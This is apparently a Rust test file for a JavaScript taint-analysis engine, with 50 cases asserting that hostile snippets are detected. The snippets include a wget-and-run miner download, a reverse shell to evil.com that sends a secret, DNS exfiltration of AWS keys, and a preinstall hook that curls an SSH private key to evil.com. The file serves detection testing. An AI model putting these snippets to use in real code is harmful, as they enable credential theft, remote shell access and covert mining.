#![cfg(feature = "js")]
use pyrograph::analyze;
fn must_detect(js: &str, name: &str) {
let graph = pyrograph::parse::parse_js(js, &format!("{name}.js")).unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "{name}: engine must detect taint flow");
}
#[test]
fn tp_w3_001() {
let js = "
import { exec } from 'child_process';
exec(process.env.TEST_1);
";
must_detect(js, "tp_w3_001");
}
#[test]
fn tp_w3_002() {
let js = "
import { exec } from 'child_process';
exec(process.env.TEST_2);
";
must_detect(js, "tp_w3_002");
}
#[test]
fn tp_w3_003() {
let js = "
import { exec } from 'child_process';
exec(process.env.TEST_3);
";
must_detect(js, "tp_w3_003");
}
#[test]
fn tp_w3_004() {
let js = "
import { exec } from 'child_process';
exec(process.env.TEST_4);
";
must_detect(js, "tp_w3_004");
}
#[test]
fn tp_w3_005() {
let js = "
import { exec } from 'child_process';
exec(process.env.TEST_5);
";
must_detect(js, "tp_w3_005");
}
#[test]
fn tp_w3_006() {
let js = "
import { exec } from 'child_process';
exec(process.env.TEST_6);
";
must_detect(js, "tp_w3_006");
}
#[test]
fn tp_w3_007() {
let js = "
import { exec } from 'child_process';
exec(process.env.TEST_7);
";
must_detect(js, "tp_w3_007");
}
#[test]
fn tp_w3_008() {
let js = "
import { exec } from 'child_process';
exec(process.env.TEST_8);
";
must_detect(js, "tp_w3_008");
}
#[test]
fn tp_w3_009() {
let js = "
import { exec } from 'child_process';
exec(process.env.TEST_9);
";
must_detect(js, "tp_w3_009");
}
#[test]
fn tp_w3_010() {
let js = "
import { exec } from 'child_process';
exec(process.env.TEST_10);
";
must_detect(js, "tp_w3_010");
}
#[test]
fn tp_w3_011() {
let js = r#"
const cp = require('child_process');
cp.exec('wget http://stratum.pool.com/miner -O /tmp/miner && /tmp/miner ' + process.env.USER);
"#;
must_detect(js, "tp_w3_011");
}
#[test]
fn tp_w3_012() {
let js = r#"
const cp = require('child_process');
cp.exec('wget http://stratum.pool.com/miner -O /tmp/miner && /tmp/miner ' + process.env.USER);
"#;
must_detect(js, "tp_w3_012");
}
#[test]
fn tp_w3_013() {
let js = r#"
const cp = require('child_process');
cp.exec('wget http://stratum.pool.com/miner -O /tmp/miner && /tmp/miner ' + process.env.USER);
"#;
must_detect(js, "tp_w3_013");
}
#[test]
fn tp_w3_014() {
let js = r#"
const cp = require('child_process');
cp.exec('wget http://stratum.pool.com/miner -O /tmp/miner && /tmp/miner ' + process.env.USER);
"#;
must_detect(js, "tp_w3_014");
}
#[test]
fn tp_w3_015() {
let js = r#"
const cp = require('child_process');
cp.exec('wget http://stratum.pool.com/miner -O /tmp/miner && /tmp/miner ' + process.env.USER);
"#;
must_detect(js, "tp_w3_015");
}
#[test]
fn tp_w3_016() {
let js = r#"
const cp = require('child_process');
cp.exec('wget http://stratum.pool.com/miner -O /tmp/miner && /tmp/miner ' + process.env.USER);
"#;
must_detect(js, "tp_w3_016");
}
#[test]
fn tp_w3_017() {
let js = r#"
const cp = require('child_process');
cp.exec('wget http://stratum.pool.com/miner -O /tmp/miner && /tmp/miner ' + process.env.USER);
"#;
must_detect(js, "tp_w3_017");
}
#[test]
fn tp_w3_018() {
let js = r#"
const cp = require('child_process');
cp.exec('wget http://stratum.pool.com/miner -O /tmp/miner && /tmp/miner ' + process.env.USER);
"#;
must_detect(js, "tp_w3_018");
}
#[test]
fn tp_w3_019() {
let js = r#"
const cp = require('child_process');
cp.exec('wget http://stratum.pool.com/miner -O /tmp/miner && /tmp/miner ' + process.env.USER);
"#;
must_detect(js, "tp_w3_019");
}
#[test]
fn tp_w3_020() {
let js = r#"
const cp = require('child_process');
cp.exec('wget http://stratum.pool.com/miner -O /tmp/miner && /tmp/miner ' + process.env.USER);
"#;
must_detect(js, "tp_w3_020");
}
#[test]
fn tp_w3_021() {
let js = r#"
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket();
client.connect(1337, 'evil.com', function() {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.write(process.env.SECRET);
});
"#;
must_detect(js, "tp_w3_021");
}
#[test]
fn tp_w3_022() {
let js = r#"
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket();
client.connect(1337, 'evil.com', function() {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.write(process.env.SECRET);
});
"#;
must_detect(js, "tp_w3_022");
}
#[test]
fn tp_w3_023() {
let js = r#"
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket();
client.connect(1337, 'evil.com', function() {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.write(process.env.SECRET);
});
"#;
must_detect(js, "tp_w3_023");
}
#[test]
fn tp_w3_024() {
let js = r#"
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket();
client.connect(1337, 'evil.com', function() {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.write(process.env.SECRET);
});
"#;
must_detect(js, "tp_w3_024");
}
#[test]
fn tp_w3_025() {
let js = r#"
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket();
client.connect(1337, 'evil.com', function() {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.write(process.env.SECRET);
});
"#;
must_detect(js, "tp_w3_025");
}
#[test]
fn tp_w3_026() {
let js = r#"
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket();
client.connect(1337, 'evil.com', function() {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.write(process.env.SECRET);
});
"#;
must_detect(js, "tp_w3_026");
}
#[test]
fn tp_w3_027() {
let js = r#"
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket();
client.connect(1337, 'evil.com', function() {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.write(process.env.SECRET);
});
"#;
must_detect(js, "tp_w3_027");
}
#[test]
fn tp_w3_028() {
let js = r#"
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket();
client.connect(1337, 'evil.com', function() {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.write(process.env.SECRET);
});
"#;
must_detect(js, "tp_w3_028");
}
#[test]
fn tp_w3_029() {
let js = r#"
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket();
client.connect(1337, 'evil.com', function() {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.write(process.env.SECRET);
});
"#;
must_detect(js, "tp_w3_029");
}
#[test]
fn tp_w3_030() {
let js = r#"
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket();
client.connect(1337, 'evil.com', function() {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.write(process.env.SECRET);
});
"#;
must_detect(js, "tp_w3_030");
}
#[test]
fn tp_w3_031() {
let js = r#"
const dns = require('dns');
const secret = process.env.AWS_KEY_31;
const encoded = Buffer.from(secret).toString('hex');
dns.lookup(encoded + '.evil.com', (err, addr) => {});
"#;
must_detect(js, "tp_w3_031");
}
#[test]
fn tp_w3_032() {
let js = r#"
const dns = require('dns');
const secret = process.env.AWS_KEY_32;
const encoded = Buffer.from(secret).toString('hex');
dns.lookup(encoded + '.evil.com', (err, addr) => {});
"#;
must_detect(js, "tp_w3_032");
}
#[test]
fn tp_w3_033() {
let js = r#"
const dns = require('dns');
const secret = process.env.AWS_KEY_33;
const encoded = Buffer.from(secret).toString('hex');
dns.lookup(encoded + '.evil.com', (err, addr) => {});
"#;
must_detect(js, "tp_w3_033");
}
#[test]
fn tp_w3_034() {
let js = r#"
const dns = require('dns');
const secret = process.env.AWS_KEY_34;
const encoded = Buffer.from(secret).toString('hex');
dns.lookup(encoded + '.evil.com', (err, addr) => {});
"#;
must_detect(js, "tp_w3_034");
}
#[test]
fn tp_w3_035() {
let js = r#"
const dns = require('dns');
const secret = process.env.AWS_KEY_35;
const encoded = Buffer.from(secret).toString('hex');
dns.lookup(encoded + '.evil.com', (err, addr) => {});
"#;
must_detect(js, "tp_w3_035");
}
#[test]
fn tp_w3_036() {
let js = r#"
const dns = require('dns');
const secret = process.env.AWS_KEY_36;
const encoded = Buffer.from(secret).toString('hex');
dns.lookup(encoded + '.evil.com', (err, addr) => {});
"#;
must_detect(js, "tp_w3_036");
}
#[test]
fn tp_w3_037() {
let js = r#"
const dns = require('dns');
const secret = process.env.AWS_KEY_37;
const encoded = Buffer.from(secret).toString('hex');
dns.lookup(encoded + '.evil.com', (err, addr) => {});
"#;
must_detect(js, "tp_w3_037");
}
#[test]
fn tp_w3_038() {
let js = r#"
const dns = require('dns');
const secret = process.env.AWS_KEY_38;
const encoded = Buffer.from(secret).toString('hex');
dns.lookup(encoded + '.evil.com', (err, addr) => {});
"#;
must_detect(js, "tp_w3_038");
}
#[test]
fn tp_w3_039() {
let js = r#"
const dns = require('dns');
const secret = process.env.AWS_KEY_39;
const encoded = Buffer.from(secret).toString('hex');
dns.lookup(encoded + '.evil.com', (err, addr) => {});
"#;
must_detect(js, "tp_w3_039");
}
#[test]
fn tp_w3_040() {
let js = r#"
const dns = require('dns');
const secret = process.env.AWS_KEY_40;
const encoded = Buffer.from(secret).toString('hex');
dns.lookup(encoded + '.evil.com', (err, addr) => {});
"#;
must_detect(js, "tp_w3_040");
}
#[test]
fn tp_w3_041() {
let js = r#"
const cp = require('child_process');
const fs = require('fs');
if (process.env.npm_lifecycle_event === 'preinstall') {
const sshKey = fs.readFileSync('/home/user/.ssh/id_rsa');
cp.exec('curl -d "' + sshKey + '" http://evil.com/exfil');
}
"#;
must_detect(js, "tp_w3_041");
}
#[test]
fn tp_w3_042() {
let js = r#"
const cp = require('child_process');
const fs = require('fs');
if (process.env.npm_lifecycle_event === 'preinstall') {
const sshKey = fs.readFileSync('/home/user/.ssh/id_rsa');
cp.exec('curl -d "' + sshKey + '" http://evil.com/exfil');
}
"#;
must_detect(js, "tp_w3_042");
}
#[test]
fn tp_w3_043() {
let js = r#"
const cp = require('child_process');
const fs = require('fs');
if (process.env.npm_lifecycle_event === 'preinstall') {
const sshKey = fs.readFileSync('/home/user/.ssh/id_rsa');
cp.exec('curl -d "' + sshKey + '" http://evil.com/exfil');
}
"#;
must_detect(js, "tp_w3_043");
}
#[test]
fn tp_w3_044() {
let js = r#"
const cp = require('child_process');
const fs = require('fs');
if (process.env.npm_lifecycle_event === 'preinstall') {
const sshKey = fs.readFileSync('/home/user/.ssh/id_rsa');
cp.exec('curl -d "' + sshKey + '" http://evil.com/exfil');
}
"#;
must_detect(js, "tp_w3_044");
}
#[test]
fn tp_w3_045() {
let js = r#"
const cp = require('child_process');
const fs = require('fs');
if (process.env.npm_lifecycle_event === 'preinstall') {
const sshKey = fs.readFileSync('/home/user/.ssh/id_rsa');
cp.exec('curl -d "' + sshKey + '" http://evil.com/exfil');
}
"#;
must_detect(js, "tp_w3_045");
}
#[test]
fn tp_w3_046() {
let js = r#"
const cp = require('child_process');
const fs = require('fs');
if (process.env.npm_lifecycle_event === 'preinstall') {
const sshKey = fs.readFileSync('/home/user/.ssh/id_rsa');
cp.exec('curl -d "' + sshKey + '" http://evil.com/exfil');
}
"#;
must_detect(js, "tp_w3_046");
}
#[test]
fn tp_w3_047() {
let js = r#"
const cp = require('child_process');
const fs = require('fs');
if (process.env.npm_lifecycle_event === 'preinstall') {
const sshKey = fs.readFileSync('/home/user/.ssh/id_rsa');
cp.exec('curl -d "' + sshKey + '" http://evil.com/exfil');
}
"#;
must_detect(js, "tp_w3_047");
}
#[test]
fn tp_w3_048() {
let js = r#"
const cp = require('child_process');
const fs = require('fs');
if (process.env.npm_lifecycle_event === 'preinstall') {
const sshKey = fs.readFileSync('/home/user/.ssh/id_rsa');
cp.exec('curl -d "' + sshKey + '" http://evil.com/exfil');
}
"#;
must_detect(js, "tp_w3_048");
}
#[test]
fn tp_w3_049() {
let js = r#"
const cp = require('child_process');
const fs = require('fs');
if (process.env.npm_lifecycle_event === 'preinstall') {
const sshKey = fs.readFileSync('/home/user/.ssh/id_rsa');
cp.exec('curl -d "' + sshKey + '" http://evil.com/exfil');
}
"#;
must_detect(js, "tp_w3_049");
}
#[test]
fn tp_w3_050() {
let js = r#"
const cp = require('child_process');
const fs = require('fs');
if (process.env.npm_lifecycle_event === 'preinstall') {
const sshKey = fs.readFileSync('/home/user/.ssh/id_rsa');
cp.exec('curl -d "' + sshKey + '" http://evil.com/exfil');
}
"#;
must_detect(js, "tp_w3_050");
}